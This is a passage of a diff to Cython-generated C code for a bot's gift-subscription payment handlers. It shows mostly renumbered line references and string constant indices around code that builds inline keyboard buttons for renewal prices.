__pyx_t_6 = 0; - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_kp_u__17) < 0) __PYX_ERR(0, 150, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_kp_u__15) < 0) __PYX_ERR(0, 152, __pyx_L1_error) - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 152, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 154, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = NULL; __pyx_t_4 = 0; @@ -6118,14 +6159,14 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_8generator2(__pyx_CoroutineO PyObject *__pyx_callargs[2] = {__pyx_t_5, NULL}; __pyx_t_6 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; - if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 152, __pyx_L1_error) + if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 154, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_reply_markup, __pyx_t_6) < 0) __PYX_ERR(0, 150, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_reply_markup, __pyx_t_6) < 0) __PYX_ERR(0, 152, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 149, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 151, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; @@ -6140,12 +6181,12 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_8generator2(__pyx_CoroutineO __pyx_generator->resume_label = 2; return __pyx_r; __pyx_L5_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 149, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 151, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 149, __pyx_L1_error) + else __PYX_ERR(0, 151, __pyx_L1_error) } } CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); @@ -6229,12 +6270,12 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 156, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 158, __pyx_L3_error) else goto __pyx_L5_argtuple_error; } if (unlikely(kw_args > 0)) { const Py_ssize_t kwd_pos_args = __pyx_nargs; - if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "gift_subscription_handler") < 0)) __PYX_ERR(0, 156, __pyx_L3_error) + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "gift_subscription_handler") < 0)) __PYX_ERR(0, 158, __pyx_L3_error) } } else if (unlikely(__pyx_nargs != 1)) { goto __pyx_L5_argtuple_error; @@ -6245,7 +6286,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds } goto __pyx_L6_skip; __pyx_L5_argtuple_error:; - __Pyx_RaiseArgtupleInvalid("gift_subscription_handler", 1, 1, 1, __pyx_nargs); __PYX_ERR(0, 156, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("gift_subscription_handler", 1, 1, 1, __pyx_nargs); __PYX_ERR(0, 158, __pyx_L3_error) __pyx_L6_skip:; goto __pyx_L4_argument_unpacking_done; __pyx_L3_error:; @@ -6284,7 +6325,7 @@ static PyObject *__pyx_pf_8handlers_8payments_4gift_9gift_subscription_handler(C if (unlikely(!__pyx_cur_scope)) { __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_3_gift_subscription_handler *)Py_None); __Pyx_INCREF(Py_None); - __PYX_ERR(0, 156, __pyx_L1_error) + __PYX_ERR(0, 158, __pyx_L1_error) } else { __Pyx_GOTREF((PyObject *)__pyx_cur_scope); } @@ -6292,7 +6333,7 @@ static PyObject *__pyx_pf_8handlers_8payments_4gift_9gift_subscription_handler(C __Pyx_INCREF(__pyx_cur_scope->__pyx_v_callback_query); __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_callback_query); { - __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_4gift_11generator3, __pyx_codeobj__18, (PyObject *) __pyx_cur_scope, __pyx_n_s_gift_subscription_handler, __pyx_n_s_gift_subscription_handler, __pyx_n_s_handlers_payments_gift); if (unlikely(!gen)) __PYX_ERR(0, 156, __pyx_L1_error) + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_4gift_11generator3, __pyx_codeobj__16, (PyObject *) __pyx_cur_scope, __pyx_n_s_gift_subscription_handler, __pyx_n_s_gift_subscription_handler, __pyx_n_s_handlers_payments_gift); if (unlikely(!gen)) __PYX_ERR(0, 158, __pyx_L1_error) __Pyx_DECREF(__pyx_cur_scope); __Pyx_RefNannyFinishContext(); return (PyObject *) gen; @@ -6344,9 +6385,9 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_11generator3(__pyx_Coroutine return NULL; } __pyx_L3_first_run:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 156, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 158, __pyx_L1_error) - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 159, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 161, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = NULL; __pyx_t_4 = 0; @@ -6366,7 +6407,7 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_11generator3(__pyx_Coroutine PyObject *__pyx_callargs[2] = {__pyx_t_3, NULL}; __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 159, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 161, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } @@ -6375,13 +6416,13 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_11generator3(__pyx_Coroutine __pyx_t_1 = 0; __pyx_t_5 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_RENEWAL_PRICES); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 161, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_RENEWAL_PRICES); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 163, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (unlikely(__pyx_t_2 == Py_None)) { PyErr_Format(PyExc_AttributeError, "'NoneType' object has no attribute '%.30s'", "items"); - __PYX_ERR(0, 161, __pyx_L1_error) + __PYX_ERR(0, 163, __pyx_L1_error) } - __pyx_t_3 = __Pyx_dict_iterator(__pyx_t_2, 0, __pyx_n_s_items, (&__pyx_t_6), (&__pyx_t_7)); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 161, __pyx_L1_error) + __pyx_t_3 = __Pyx_dict_iterator(__pyx_t_2, 0, __pyx_n_s_items, (&__pyx_t_6), (&__pyx_t_7)); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 163, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_XDECREF(__pyx_t_1); @@ -6390,7 +6431,7 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_11generator3(__pyx_Coroutine while (1) { __pyx_t_8 = __Pyx_dict_iter_next(__pyx_t_1, __pyx_t_6, &__pyx_t_5, &__pyx_t_3, &__pyx_t_2, NULL, __pyx_t_7); if (unlikely(__pyx_t_8 == 0)) break; - if (unlikely(__pyx_t_8 == -1)) __PYX_ERR(0, 161, __pyx_L1_error) + if (unlikely(__pyx_t_8 == -1)) __PYX_ERR(0, 163, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GOTREF(__pyx_t_2); __Pyx_XGOTREF(__pyx_cur_scope->__pyx_v_months); @@ -6402,57 +6443,57 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_11generator3(__pyx_Coroutine __Pyx_GIVEREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 162, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 164, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_types); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 163, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_types); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 165, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); - __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 163, __pyx_L1_error) + __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 165, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - __pyx_t_9 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 164, __pyx_L1_error) + __pyx_t_9 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 166, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); - __pyx_t_11 = PyTuple_New(7); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 164, __pyx_L1_error) + __pyx_t_11 = PyTuple_New(7); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 166, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); __pyx_t_12 = 0; __pyx_t_13 = 127; - __Pyx_INCREF(__pyx_kp_u__19); + __Pyx_INCREF(__pyx_kp_u__17); __pyx_t_13 = (1114111 > __pyx_t_13) ? 1114111 : __pyx_t_13; __pyx_t_12 += 2; - __Pyx_GIVEREF(__pyx_kp_u__19); - PyTuple_SET_ITEM(__pyx_t_11, 0, __pyx_kp_u__19); - __pyx_t_14 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_months, __pyx_empty_unicode); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 164, __pyx_L1_error) + __Pyx_GIVEREF(__pyx_kp_u__17); + PyTuple_SET_ITEM(__pyx_t_11, 0, __pyx_kp_u__17); + __pyx_t_14 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_months, __pyx_empty_unicode); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 166, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_14); __pyx_t_13 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_14) > __pyx_t_13) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_14) : __pyx_t_13; __pyx_t_12 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_14); __Pyx_GIVEREF(__pyx_t_14); PyTuple_SET_ITEM(__pyx_t_11, 1, __pyx_t_14); __pyx_t_14 = 0; - __Pyx_INCREF(__pyx_kp_u__20); + __Pyx_INCREF(__pyx_kp_u__18); __pyx_t_12 += 1; - __Pyx_GIVEREF(__pyx_kp_u__20); - PyTuple_SET_ITEM(__pyx_t_11, 2, __pyx_kp_u__20); - __pyx_t_15 = (__Pyx_PyUnicode_Equals(__pyx_cur_scope->__pyx_v_months, __pyx_kp_u_1, Py_EQ)); if (unlikely((__pyx_t_15 < 0))) __PYX_ERR(0, 164, __pyx_L1_error) + __Pyx_GIVEREF(__pyx_kp_u__18); + PyTuple_SET_ITEM(__pyx_t_11, 2, __pyx_kp_u__18); + __pyx_t_15 = (__Pyx_PyUnicode_Equals(__pyx_cur_scope->__pyx_v_months, __pyx_kp_u_1, Py_EQ)); if (unlikely((__pyx_t_15 < 0))) __PYX_ERR(0, 166, __pyx_L1_error) if (__pyx_t_15) { __Pyx_INCREF(__pyx_n_u__5); __pyx_t_14 = __pyx_n_u__5; } else { - __pyx_t_17 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_months); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 164, __pyx_L1_error) + __pyx_t_17 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_months); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 166, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_17); - __pyx_t_19 = (__Pyx_PyInt_BoolEqObjC(__pyx_t_17, __pyx_int_2, 2, 0)); if (unlikely((__pyx_t_19 < 0))) __PYX_ERR(0, 164, __pyx_L1_error) + __pyx_t_19 = (__Pyx_PyInt_BoolEqObjC(__pyx_t_17, __pyx_int_2, 2, 0)); if (unlikely((__pyx_t_19 < 0))) __PYX_ERR(0, 166, __pyx_L1_error) if (!__pyx_t_19) { } else { __pyx_t_18 = __pyx_t_19; goto __pyx_L6_bool_binop_done; } - __pyx_t_19 = (__Pyx_PyInt_BoolEqObjC(__pyx_t_17, __pyx_int_3, 3, 0)); if (unlikely((__pyx_t_19 < 0))) __PYX_ERR(0, 164, __pyx_L1_error) + __pyx_t_19 = (__Pyx_PyInt_BoolEqObjC(__pyx_t_17, __pyx_int_3, 3, 0)); if (unlikely((__pyx_t_19 < 0))) __PYX_ERR(0, 166, __pyx_L1_error) if (!__pyx_t_19) { } else { __pyx_t_18 = __pyx_t_19; goto __pyx_L6_bool_binop_done; } - __pyx_t_19 = (__Pyx_PyInt_BoolEqObjC(__pyx_t_17, __pyx_int_4, 4, 0)); if (unlikely((__pyx_t_19 < 0))) __PYX_ERR(0, 164, __pyx_L1_error) + __pyx_t_19 = (__Pyx_PyInt_BoolEqObjC(__pyx_t_17, __pyx_int_4, 4, 0)); if (unlikely((__pyx_t_19 < 0))) __PYX_ERR(0, 166, __pyx_L1_error) __pyx_t_18 = __pyx_t_19; __pyx_L6_bool_binop_done:; __Pyx_DECREF(__pyx_t_17); __pyx_t_17 = 0; @@ -6467,7 +6508,7 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_11generator3(__pyx_Coroutine __pyx_t_14 = __pyx_t_16; __pyx_t_16 = 0; } - __pyx_t_16 = __Pyx_PyUnicode_Unicode(__pyx_t_14); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 164, __pyx_L1_error) + __pyx_t_16 = __Pyx_PyUnicode_Unicode(__pyx_t_14); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 166, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_16); __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; __pyx_t_13 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_16) > __pyx_t_13) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_16) : __pyx_t_13; @@ -6475,38 +6516,38 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_11generator3(__pyx_Coroutine __Pyx_GIVEREF(__pyx_t_16); PyTuple_SET_ITEM(__pyx_t_11, 3, __pyx_t_16); __pyx_t_16 = 0; - __Pyx_INCREF(__pyx_kp_u__21); + __Pyx_INCREF(__pyx_kp_u__19); __pyx_t_13 = (65535 > __pyx_t_13) ? 65535 : __pyx_t_13; __pyx_t_12 += 4; - __Pyx_GIVEREF(__pyx_kp_u__21); - PyTuple_SET_ITEM(__pyx_t_11, 4, __pyx_kp_u__21); - __pyx_t_16 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_price, __pyx_empty_unicode); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 164, __pyx_L1_error) + __Pyx_GIVEREF(__pyx_kp_u__19); + PyTuple_SET_ITEM(__pyx_t_11, 4, __pyx_kp_u__19); + __pyx_t_16 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_price, __pyx_empty_unicode); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 166, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_16); __pyx_t_13 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_16) > __pyx_t_13) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_16) : __pyx_t_13; __pyx_t_12 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_16); __Pyx_GIVEREF(__pyx_t_16); PyTuple_SET_ITEM(__pyx_t_11, 5, __pyx_t_16); __pyx_t_16 = 0; - __Pyx_INCREF(__pyx_kp_u__22); + __Pyx_INCREF(__pyx_kp_u__20); __pyx_t_13 = (65535 > __pyx_t_13) ? 65535 : __pyx_t_13; __pyx_t_12 += 7; - __Pyx_GIVEREF(__pyx_kp_u__22); - PyTuple_SET_ITEM(__pyx_t_11, 6, __pyx_kp_u__22); - __pyx_t_16 = __Pyx_PyUnicode_Join(__pyx_t_11, 7, __pyx_t_12, __pyx_t_13); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 164, __pyx_L1_error) + __Pyx_GIVEREF(__pyx_kp_u__20); + PyTuple_SET_ITEM(__pyx_t_11, 6, __pyx_kp_u__20); + __pyx_t_16 = __Pyx_PyUnicode_Join(__pyx_t_11, 7, __pyx_t_12, __pyx_t_13); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 166, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_16); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_text, __pyx_t_16) < 0) __PYX_ERR(0, 164, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_text, __pyx_t_16) < 0) __PYX_ERR(0, 166, __pyx_L1_error) __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; - __pyx_t_16 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_months, __pyx_empty_unicode); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 165, __pyx_L1_error) + __pyx_t_16 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_months, __pyx_empty_unicode); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 167, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_16); - __pyx_t_11 = __Pyx_PyUnicode_Concat(__pyx_kp_u_gift_2, __pyx_t_16); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 165, __pyx_L1_error) + __pyx_t_11 = __Pyx_PyUnicode_Concat(__pyx_kp_u_gift_2, __pyx_t_16); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 167, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; - if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_callback_data, __pyx_t_11) < 0) __PYX_ERR(0, 164, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_callback_data, __pyx_t_11) < 0) __PYX_ERR(0, 166, __pyx_L1_error) __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_10, __pyx_empty_tuple, __pyx_t_9); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 163, __pyx_L1_error) + __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_10, __pyx_empty_tuple, __pyx_t_9); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 165, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; @@ -6529,7 +6570,7 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_11generator3(__pyx_Coroutine __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 162, __pyx_L1_error) + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 164, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } @@ -6537,21 +6578,21 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_11generator3(__pyx_Coroutine } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 169, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 171, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_types); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 169, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_types); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 171, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 169, __pyx_L1_error) + __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 171, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 169, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 171, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_BACK); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 169, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_BACK); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 171, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_t_9) < 0) __PYX_ERR(0, 169, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_t_9) < 0) __PYX_ERR(0, 171, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_data, __pyx_n_u_gifts) < 0) __PYX_ERR(0, 169, __pyx_L1_error) - __pyx_t_9 = __Pyx_PyObject_Call(__pyx_t_11, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 169, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_data, __pyx_n_u_gifts) < 0) __PYX_ERR(0, 171, __pyx_L1_error) + __pyx_t_9 = __Pyx_PyObject_Call(__pyx_t_11, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 171, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; @@ -6574,28 +6615,28 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_11generator3(__pyx_Coroutine __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 169, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 171, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 171, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 173, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 172, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 174, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 172, __pyx_L1_error) + __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 174, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_target_message, __pyx_t_9) < 0) __PYX_ERR(0, 172, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_target_message, __pyx_t_9) < 0) __PYX_ERR(0, 174, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_GIFT_CHOICE); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 173, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_GIFT_CHOICE); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 175, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_text, __pyx_t_9) < 0) __PYX_ERR(0, 172, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_text, __pyx_t_9) < 0) __PYX_ERR(0, 174, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 174, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 176, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_11 = NULL; __pyx_t_4 = 0; @@ -6615,14 +6656,14 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_11generator3(__pyx_Coroutine PyObject *__pyx_callargs[2] = {__pyx_t_11, NULL}; __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); 